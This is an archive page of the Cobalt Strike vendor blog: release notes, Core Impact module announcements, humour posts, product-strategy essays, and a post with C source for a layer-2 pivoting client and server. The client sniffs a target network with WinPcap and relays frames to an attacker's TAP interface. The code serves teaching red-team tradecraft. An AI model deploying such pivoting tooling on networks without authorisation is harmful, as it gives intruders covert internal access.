Uncategorized Archives - Cobalt Strike Research and Development
fortra logo

Out Of Band Update: Cobalt Strike 4.6.1

Cobalt Strike 4.6.1 is now available. This is an out of band update to fix a few issues that were discovered in the 4.6 release that were reported to be impacting users and for which there was no workaround. This does not affect the 4.7 release, which is still on track to ship this summer.

Website Cloning

Two issues related to website cloning were addressed. An issue was introduced with the 4.6 release that caused all website cloning to fail, and we had a separate backlog issue that caused an error when cloning https websites. Both of these issues have been fixed.

Error When Using rportfwd_local

An issue was reported whereby when using rportfwd_local, any connection that entered the forwarded port caused the Cobalt Strike client to disconnect and reconnect with the teamserver. This issue has been fixed.

Workaround: glibc Dependency Issue

Some users have reported an issue when running on certain (mainly older) Linux distributions that causes the teamserver to fail to start due to a glibc dependency. We are currently looking into ways to update our build process to minimise the impact of this in the 4.7 release. While there is no fix available at the moment, we have documented a workaround. If you are affected by this issue, please refer to the steps in the Cobalt Strike documentation.

We apologise for any problems that these issues may have caused. If you notice any other issues with Cobalt Strike, please refer to the online support page, or report them to our support email address. Licensed users can download version 4.6.1 from the website. To purchase Cobalt Strike or learn more, please contact us.

Incorporating New Tools into Core Impact

Core Impact has further enhanced the pen testing process with the introduction of two new modules. The first module enables the use of .NET assemblies, while the second module provides the ability to use BloodHound, a data analysis tool that uncovers hidden relationships within an Active Directory (AD) environment. In this blog, we’ll dive into how Core Impact users can put these new modules into action during their engagements.

In-memory .NET Assembly Execution

With the Core Impact “.NET Assembly Execution” module you can now include .NET assemblies in your engagements. This module accepts a path to a local executable assembly and runs it on a given target. You may pass arbitrary arguments, quoted or not, to this program as if you ran it from a command shell. It can be executed in a sacrificial process using the fork and run technique or inline in the agent process.

Sharing Resources: Core Impact and Cobalt Strike

Cobalt Strike, our adversary simulation tool that focuses on post-exploitation, also uses .NET assembly tools. The “.NET Assembly Execution” module is compatible with extensions commonly employed by Cobalt Strike users, providing an opportunity to broaden the reach of Core Impact. Any executions that employ the execute-assembly command in Cobalt Strike can be used as a shared resource when using both products for a testing engagement. Additionally, these two solutions can be bundled together.

Some modules used by Cobalt Strike that can be now used within Core Impact include:

AD Data Collection using BloodHound

Another module, “Get AD data with SharpHound (BloodHound Collector),” is based on the same technology as the first. It was developed to enable the usage of BloodHound during an Active Directory attack to facilitate the reconnaissance steps. Bloodhound works by analyzing data about AD collected from domain controllers and domain-joined Windows systems, quickly detecting complex attack paths for lateral movement, privilege escalation, and more. Users can now incorporate these capabilities into their engagements to help identify these attack paths before threat actors do.

Expand Your Security Tests Even Further

With the introduction of these modules, Core Impact continues to help unify security. In addition to these modules, Core Impact integrates with other security tools, including multiple vulnerability scanners, PowerShell Empire, Plextrac, and more. Core Impact is particularly aligned Cobalt Strike, with interoperability features like session passing as well as the new “.NET Assembly Execution” module.

Successful security testing involves both talented cybersecurity professionals and the right portfolio of tools. Solutions that work with one another can help to maximize resources, reduce console fatigue, and standardize reporting. Tools like Core Impact can help serve as a point of centralization, helping organizations to advance their vulnerability management programs without overcomplicating strategies.

New home for Cobalt Strike malleable c2 profiles and scripts

The Cobalt Strike references (malleable c2 profiles, scripts, Elevate Kit, etc.) have been consolidated under a new GitHub account. https://github.com/cobalt-strike

We understand that many blog posts (and even our documentation) have references to the original links. The original links will be available for the time being but may not be in the future.

Update your references to use the new repositories. All future updates will be made under the new account.

SSL certificate verification failure

UPDATE: This has now been fixed. I’ve amended this post to reflect that.

If you ran the Cobalt Strike update program today, you may have seen an error message about the failed SSL certificate verification for www.cobaltstrike.com:

The update program pins the certificate for this server. When the certificate does not match what the update expects, the update program gives a warning. This is by design and is so that you can be confident that you’re getting the update from HelpSystems.

The change that caused the error has been reverted and the issue has been addressed. No further action is required on your part, and updates should now be working again.

We’d like to offer our sincere apologies for any inconvenience that this issue caused, and thank you for your patience while the issue was resolved.

Revolutionary Device Detects Mimikatz Use

I see mimikatz as one of the most significant collections of offensive capability available today. Because there’s so much capability, folks are often interested in how to detect its use on their network.

For example, one blog post recommends that use of Honey Hashes to detect mimikatz use. Others might recommend that you look for Kerberos tickets that expire 10 years from now. These are great examples of ways to detect different Mimikatz features. What if I told you there was a way to detect mimikatz use, regardless of feature?

This technology exists. Better, it’s cheap. This Mimikatz Detection Peripheral only costs $50. Here’s a demonstration of this technology in action:

Note: This technology only detects Mimikatz releases built after October 9, 2015.

Under the DIRWALK (Lyrics)

To the tune of Under the Boardwalk written by Kenny Young and Arthur Resnick, recorded by The Drifters.

Oh, when the domain is done and on all servers you’re root
And the hashes are so many, you wish your cracking rig were fireproof
Under the DIRWALK, down by the C:
Running my implant as SYSTEM is where I’ll be

(Under the DIRWALK) Out to the remote node
(Under the DIRWALK) We’ll be exfiling some stuff
(Under the DIRWALK) NSM watching all of us
(Under the DIRWALK) We’ll be doing what we want
Under the DIRWALK, DIRWALK

From the screenshot you see, a user checking their ‘mail
Mmm, you can almost take the plans to all the stuff they sell
Under the DIRWALK, down by the C:, yeah
Running my implant as SYSTEM is where I’ll be

(Under the DIRWALK) Out to the remote node
(Under the DIRWALK) We’ll be exfiling some stuff
(Under the DIRWALK) NSM watching all of us
(Under the DIRWALK) We’ll be doing what we want
Under the DIRWALK, DIRWALK

Oh, under the DIRWALK, down by the C:, yeah
Running my implant as SYSTEM is where I’ll be

(Under the DIRWALK) Out to the remote node
(Under the DIRWALK) We’ll be exfiling some stuff
(Under the DIRWALK) NSM watching all of us
(Under the DIRWALK) We’ll be doing what we want
Under the DIRWALK, DIRWALK

Audiences… or who I think I’m writing for

This is another meta-post about this blog. If you’re not a regular reader of this blog, this post is probably not for you. I’d like to share the different audiences I imagine when I write on this blog. Conveniently, the categories map quite well to audiences.

In the Metasploit Framework category I imagine that I’m writing to members of the Metasploit Framework community. I generally document the undocumented and share things I’ve learned digging deep into the framework here. My assumption is that if I find it interesting, others probably will too.

In the red team category I write a lot about my experiences supporting different cyber defense exercises. Once in a while, I delve into experiences from when I was penetration testing. This category is a mix of techniques and ideas about how to organize a red team. Earlier this year I had the opportunity to take part in a large-scale cyber war game run by folks I hadn’t worked with before. When I arrived, I found out that a big part of how I got there was this blog. Apparently, not enough people talk about how to scale large red teams and collaborate. Who knew?

In the Cobalt Strike category I announce new releases and I write about different Cobalt Strike features. This category is meant for Cobalt Strike’s users. I see my blog as an extension of the online training. I update the online course every two years. In between, this blog is my place to capture the thought process and tradecraft that goes with each new feature. If you want to keep up with the latest of what Cobalt Strike can do or where it’s going, this blog is the place to do it. Often times questions customers ask will end up as posts in this category too.

Once in a great while I make an attempt at writing reference pieces. These are my “What Penetration Testers Should Know” posts. I find these posts incredibly difficult to write. I usually stick these in the red team category. These posts have minimal marketing in them and usually appeal to a broad audience. I know when I want more traffic, I can sequester myself for a week to write one. Sadly, I don’t have many weeks where I can get away with this.

Some past posts:

I also occasionally write blog posts that document a technique and include source code. I think it’s important to continue to share code and knowledge with my peers. These posts are pretty difficult to write as well. The code I release in these contexts is usually meant as something for others to learn from, so I have to take my time to make it clear and document it.

Some past examples of these posts include:

And, finally, I’m starting to write blog posts on industry trends I see. I work with a lot of red teams and services firms through my Cobalt Strike product. These teams buy my product because there’s something they want to do with it. From this vantage point I see penetration testing evolving. The old way probably won’t go away, but I see new kinds of offensive services resonating well with customers. These posts are targeted at those who are championing these ideas within their organizations.

Here’s a few to look at along these lines:

And, that’s pretty much it. I published my post for this week and now I’m off the hook.

My Constraint-based Product Strategy

When I work on a project, I like to define a broad problem statement. This is the project’s intended mark on the world. I don’t have enough hubris to claim a solution for all cases. To make my project’s tractable, I define assumptions. These assumptions bound the problem statement and keep the work under control. I tend to live within my assumptions until I feel the project has outgrown them. When this happens, I look for an opportunity to redefine my work under a new problem statement or at least, new assumptions.

In this blog post, I’ll take you through the problem statements and assumptions that define Armitage and Cobalt Strike. It’s fitting that I write this now, because I’m re- examining Cobalt Strike’s problem statement and assumptions.

Armitage

Armitage is a scriptable user interface for the Metasploit Framework that allows red teams to collaborate. Armitage has a broad problem statement: how do I help red teams collaborate?

Armitage lives under a set of assumptions.

First, I had to define a use case for this project. I opted to scope Armitage’s use case to exercise red teams, particularly red teams for the Collegiate Cyber Defense Competitions, which I had a lot of volunteer involvement with.

Next, I scoped Armitage to the Metasploit Framework only. I had zero intention of building the one collaboration framework to rule them all. I wanted to explore some ideas within the context of the Metasploit Framework and what it offers. This meant I would not integrate third-party hacking tools with Armitage and I would not build new hacking capability into it. These assumptions gave me suitable constraints to build and reason about Armitage.

This weekend, Armitage will celebrate its fourth birthday. I continue to maintain this project, but Armitage was successful in its original efforts a long time ago. Today, most penetration testing and red team platforms have collaboration features. Armitage is a familiar face at events where hackers have to work together with the Metasploit Framework. We now have good  practices [1, 2, 3, 4] to organize red teams in cyber defense exercises.

Cobalt Strike

I used to work on a red team support contract. Stealth and evasion mattered a great deal. I ran into the limitations of available tools. I saw a need for penetration testing tools to challenge harder targets. My work on these problems became Cobalt Strike. I define Cobalt Strike’s problem set as closing the gap between penetration testing tools and so-called advanced threat capabilities. It’s in my logo even! “Advanced Threat Tactics for Penetration Testers”. 

Like Armitage, Cobalt Strike lives under a set of assumptions too.

Every feature I build into Cobalt Strike requires synergy with a stock instance of the Metasploit Framework. This assumption led to a collection of tools very focused on the Windows attack surface. Some of Cobalt Strike’s concepts would be right at home with a MacOS X target, but there’s too little opportunity for synergy with the Metasploit Framework, so I haven’t looked in this direction. My emphasis on 32-bit payloads, also comes from this assumption.

Second, Cobalt Strike is made for a hypothetical internal red team for a large corporate or government enterprise. This assumption has had major influences on my product. It defines the problems I care about and the things I ignore. Let’s use browser pivoting as an example. This technology was made to meet a need for a segment of users. These users care about Internet Explorer, not Google Chrome or Firefox. Hence, browser pivoting was made for Internet Explorer.

Third, Cobalt Strike is built for a remote operations use case. This influences the problems I work on as well. I assume that my user is a remote actor. This is why I provide covert communication options and focus on ways to evade egress restrictions. Under my assumptions, if a user can’t get out, they can’t use the rest of the toolset. This assumption also limits the features I build and the workflows I support. If a tactic isn’t practical for a remote actor, I ignore it.

My last assumption relates to what Cobalt Strike does. Cobalt Strike executes targeted attacks and replicates advanced threats. That statement is marketing speak for sends phishing emails and focuses on post exploitation. I wrote the last sentence, tongue-in-cheek, but there’s a reality to it. My tool supports a process: setup a client-side attack, phish to get a foothold, abuse trusts for lateral movement, and conduct post exploitation to achieve some objective/demonstrate risk. I focus on this process and work to make this tool better support it. Few engagements execute this process end-to-end, so I make sure to decouple these pieces from each other.  That said, this clear definition of what Cobalt Strike does helps guide my development efforts.

Cobalt Strike has nearly two and a half years on the market and it’s had a lot of updates in that time. I still have work to do within Cobalt Strike’s problem set, but I feel it’s a good product for its stated use cases.

What’s next?

I’m thinking a lot about Cobalt Strike’s next iteration. At this time, I’m revisiting Cobalt Strike’s problem statement and assumptions. As I think about what’s coming next, here are a few things at the top of my mind:

First, I believe there’s a “good enough” level for hacker capability. After a point, better malware and capability will only take a red team so far. I see several needs that I categorize as features to support assessors with growing accountability and story telling requirements. This is a sign that some security programs are maturing and these customers expect more detail from us. I think there’s a need to put equal effort into these requirements.

I also believe we’re witnessing the emergence of a service that most penetration testers and red teams will soon offer. These are assessments that assume compromise and focus on an organization’s post-compromise security posture. Particularly, the organization’s ability to detect and remediate a sophisticated intruder. I wrote about this in a previous blog post.

Finally, I believe the deprecation of Windows XP was the end of an era. There are ideas and concepts in our tools and services that date back to the beginning of this era. I think some of these things are holding us back.

I’m not ready to speak specifics on these things yet, but I’m closely examining my tradecraft, process, and tools. I’m asking the hard questions: what’s historic baggage? What makes sense for the red team and adversary simulation use cases going forward?

How VPN Pivoting Works (with Source Code)

A VPN pivot is a virtual network interface that gives you layer-2 access to your target’s network. Rapid7’s Metasploit Pro was the first pen testing product with this feature. Core Impact has this capability too.

In September 2012, I built a VPN pivoting feature into Cobalt Strike. I revised my implementation of this feature in September 2014. In this post, I’ll take you through how VPN pivoting works and even provide code for a simple layer-2 pivoting client and server you can play with. The layer-2 pivoting client and server combination don’t have encryption, hence it’s not correct to refer to them as VPN pivoting. They’re close enough to VPN pivoting to benefit this discussion though.

https://github.com/rsmudge/Layer2-Pivoting-Client

The VPN Server

Let’s start with a few terms: The attacker runs VPN server software. The target runs a VPN client. The connection between the client and the server is the channel to relay layer-2 frames.

To the attacker, the target’s network is available through a virtual network interface. This interface works like a physical network interface. When one of your programs tries to interact with the target network, the operating system will make the frames it would drop onto the wire available to the VPN server software. The VPN server consumes these frames, relays them over the data channel to the VPN client. The VPN client receives these frames and dumps them onto the target’s network.

Here’s what the process looks like:

vpnserver

The TAP driver makes this possible. According to its documentation, the TUN/TAP provides packet reception and transmission for user space programs. The TAP driver allows us to create a (virtual) network interface that we may interact with from our VPN server software.

Here’s the code to create a TAP [adapted from the TUN/TAP documentation]:

#include <linux/if.h>
#include <linux/if_tun.h>

int tun_alloc(char *dev) {
struct ifreq ifr;
int fd, err;

if( (fd = open("/dev/net/tun", O_RDWR)) < 0 )
return tun_alloc_old(dev);

memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;

if( *dev )
strncpy(ifr.ifr_name, dev, IFNAMSIZ);

if( (err = ioctl(fd, TUNSETIFF, (void *) &ifr)) < 0 ) {
close(fd);
return err;
}

strcpy(dev, ifr.ifr_name);
return fd;
}

This function allocates a new TAP. The dev parameter is the name of our interface. This is the name we will use with ifconfig and other programs to configure it. The number it returns is a file descriptor to read from or write to the TAP.

To read a frame from a TAP:

int totalread = read(tap_fd, buffer, maxlength);

To write a frame to a TAP:

write(tap_fd, buffer, length);

These functions are the raw ingredients to build a VPN server. To demonstrate tunneling frames over layer 2, we’ll take advantage of simpletun.c by Davide Brini.

simpletun.c is an example of using a network TAP. It’s ~300 lines of code that demonstrates how to send and receive frames over a TCP connection. This GPL(!) example accompanies Brini’s wonderful Tun/Tap Interface Tutorial. I recommend that you read it.

When simpletun.c sends a frame, it prefixes the frame with an unsigned short in big endian order. This 2-byte number, N, is the length of the frame in bytes. The next N bytes are the frame itself. simpletun.c expects to receive frames the same way.

To build simpletun:

gcc simpletun.c -o simpletun

Note: simpletun.c allocates a small buffer to hold frame data. Change BUFSIZE on line 42 to a higher value, like 8192. If you don’t do this, simpletun.c will eventually crash. You don’t want that.

To start simpletun as a server:

./simpletun -i [interface] -s -p [port] -a

The VPN Client

Now that we understand the VPN server, let’s discuss the VPN pivoting client. Cobalt Strike’s VPN pivoting client sniffs traffic on the target’s network. When it sees frames, it relays them to the VPN pivoting server, which writes them to the TAP interface. This causes the server’s operating system to process the frames as if they were read off of the wire.

vpnclient

Let’s build a layer-2 pivoting client that implements similar logic. To do this, we will use the Windows Packet Capture API. WinPcap is the Windows implementation of  LibPCAP and RiverBed Technology maintains it.

First, we need to open up the target network device that we will pivot onto. We also need to put this device into promiscuous mode. Here’s the code to do that:

pcap_t * raw_start(char * localip, char * filterip) {
pcap_t * adhandle   = NULL;
pcap_if_t * d       = NULL;
pcap_if_t * alldevs = NULL;
char errbuf[PCAP_ERRBUF_SIZE];

/* find out interface */
d = find_interface(&alldevs, localip);

/* Open the device */
adhandle = (pcap_t *)pcap_open(d->name, 65536, PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1, NULL, errbuf);
if (adhandle == NULL) {
printf("\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
return NULL;
}

/* filter out the specified host */
raw_filter_internal(adhandle, d, filterip, NULL);

/* ok, now we can free out list of interfaces */
pcap_freealldevs(alldevs);

return adhandle;
}

Next, we need to connect to the layer-2 pivoting server and start a loop that reads frames and sends them to our server. I do this in raw.c. Here’s the code to ask WinPcap to call a function when a frame is read:

void raw_loop(pcap_t * adhandle, void (*packet_handler)(u_char *, const struct pcap_pkthdr *, const u_char *)) {
pcap_loop(adhandle, 0, packet_handler, NULL);
}

The packet_handler function is my callback to respond to each frame read by WinPCAP. It writes frames to our layer-2 pivoting server. I define this function in tunnel.c.

void packet_handler(u_char * param, const struct pcap_pkthdr * header, const u_char * pkt_data) {
/* send the raw frame to our server */
client_send_frame(server, (void *)pkt_data, header->len);
}

I define client_send_frame in client.c. This function writes the frame’s length and data to our layer-2 pivoting server connection. If you want to implement a new channel or add encryption to make this a true VPN client, client.c is the place to explore this.

We now know how to read frames and send them to the layer-2 pivoting server.

Next, we need logic to read frames from the server and inject these onto the target network. In tunnel.c, I create a thread that calls client_recv_frame in a loop. The client_recv_frame function reads a frame from our connection to the layer-2 server. The pcap_sendpacket function injects a frame onto the wire.

DWORD ThreadProc(LPVOID param) {
char * buffer = malloc(sizeof(char) * 65536);
int len, result;
unsigned short action;

while (TRUE) {
len = client_recv_frame(server, buffer, 65536);

/* inject the frame we received onto the wire directly */
result = pcap_sendpacket(sniffer, (u_char *)buffer, len);
if (result == -1) {
printf("Send packet failed: %d\n", len);
}
}
}

This logic is the guts of our layer-2 pivoting client. The project is ~315 lines of code and this includes headers. Half of this code is in client.c which is an abstraction of the Windows Socket API. I hope you find it navigable.

To run the layer-2 pivoting client:

client.exe [server ip] [server port] [local ip]

Once the layer-2 client connects to the layer-2 server, use a DHCP client to request an IP address on your attack server’s network interface [or configure an IP address with ifconfig].

Build Instructions

I’ve made the source code for this simple Layer-2 client available under a BSD license. You will need to download the Windows PCAP Developer Pack and extract it to the folder where the layer-2 client lives. You can build the layer-2 client on Kali Linux with the included Minimal GNU for Windows Cross Compiler. Just type ‘make’ in its folder.

Deployment

To try this Layer-2 client, you will need to install WinPcap on your target system. You can download WinPcap from RiverBed Technology. And, that’s it. I hope you’ve enjoyed this deep dive into VPN pivoting and how it works.

The layer-2 client is a stripped down version of Cobalt Strike’s Covert VPN feature. Covert VPN compiles as a reflective DLL. This allows Cobalt Strike to inject it into memory. The Covert VPN client and server encrypt the VPN traffic [hence, VPN pivoting]. Covert VPN will also silently drop a minimal WinPcap install and clean it up for you. And, Covert VPN supports multiple data channels. It’ll tunnel frames over TCP, UDP, HTTP, or through Meterpreter.

The #1 Trait of a Successful Hacker

For some people, programming comes naturally to them. For others, it’s a struggle or something that doesn’t click with the way they think. The same thing with hacking.

Hackers often complain about “script kiddies”, people who use tools without any clue about what they do. What’s the difference between someone who will become a good hacker and someone who will stay a script kiddie, forever?

I know the answer. Here it is.  The number one trait for a successful hacker is the ability to reason about things one can’t directly observe.

Since a hacker is in the business of circumventing controls or discovering the unknown, they’re constantly in the blind. They have to reason about what they’re trying to hack though. If they can’t, they’ll never figure out the system they’re working on.

This innate ability to reason comes from a solid mental model. A mental model is your ability to quickly ask a question and have several guesses at an answer. When someone asks me a question, sometimes I have a few ideas. Other times I’m stuck. I’m stuck when I have no reference for the situation as described to me. Sometimes, I’m stuck because there are too many possibilities and I don’t have enough information to pick one. This is how I feel when with 99% of the Armitage “support requests” I get.

Where does a mental model come from? A mental model comes from knowing how something works. Reading, attending classes, and otherwise consuming information provide some of the pieces of a mental model, but inactive learning, by itself, will not build a mental model for you. To create a mental model, you have to do something active with these pieces. This active piece requires envisioning an outcome or goal, attempting it, failing, figuring out why, and going on to eventually succeed with the task. There’s an emotion that goes with this active learning process. It’s called frustration.

If you’re frustrated at different times while you’re learning or doing, but you still get the job done, then congratulations–you’re building your mental model.

When I was working on the browser pivoting feature for Cobalt Strike, I had the benefit of an unexpected learning experience. My proxy server would process a request, send a response, and close the socket. In local testing, this worked perfectly. When I used a port forward through Meterpreter, it would work most of the time.  When I tried to browser pivot with Meterpreter tunneled through Cobalt Strike’s Beacon connected to Amazon’s EC2–requests failed 90% of the time.

What happened? Why was it failing? I could have thrown up my hands and said “it doesn’t work” or “this lousy performance is acceptable”. I went through each component of my system and tried to understand it. Eventually, I figured out that my call to closesocket would make a best effort to finish sending data in the socket’s outbound queue. Usually, this worked fine. As I introduced latency into my pivoting process, I increased the opportunity for data to get discarded. Before I released this feature, I was able to solve this problem.

This frustrating experience improved my mental model. I couldn’t just look at my code to solve the problem. I had to setup experiments and reason about parts of the system I didn’t write or have full knowledge of.

If you want to succeed as a hacker, learn to troubleshoot. Learn how the things around you work. If you can’t directly observe a detail, learn how to get the answer another way. If you run out of ideas, keep digging. The answer is out there.